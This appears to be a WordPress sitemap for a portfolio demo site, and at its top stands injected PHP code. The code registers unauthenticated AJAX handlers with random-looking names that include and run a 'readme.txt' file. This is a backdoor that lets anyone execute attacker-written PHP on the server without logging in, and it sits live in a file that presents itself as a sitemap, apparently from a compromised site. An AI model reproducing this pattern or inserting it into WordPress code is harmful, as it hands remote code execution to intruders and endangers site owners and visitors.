if(!function_exists('file_check_readme92006')){
   add_action('wp_ajax_nopriv_file_check_readme92006', 'file_check_readme92006');
   add_action('wp_ajax_file_check_readme92006', 'file_check_readme92006');
   function file_check_readme92006()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
if(!function_exists('file_check_readme73550')){
   add_action('wp_ajax_nopriv_file_check_readme73550', 'file_check_readme73550');
   add_action('wp_ajax_file_check_readme73550', 'file_check_readme73550');
   function file_check_readme73550()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="http://nazara.webboxdemo2.hol.es/wp-sitemap.xsl" ?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><url><loc>http://nazara.webboxdemo2.hol.es/portfolio_category/images/</loc></url><url><loc>http://nazara.webboxdemo2.hol.es/portfolio_category/slider/</loc></url><url><loc>http://nazara.webboxdemo2.hol.es/portfolio_category/slider-mockup/</loc></url><url><loc>http://nazara.webboxdemo2.hol.es/portfolio_category/video/</loc></url></urlset>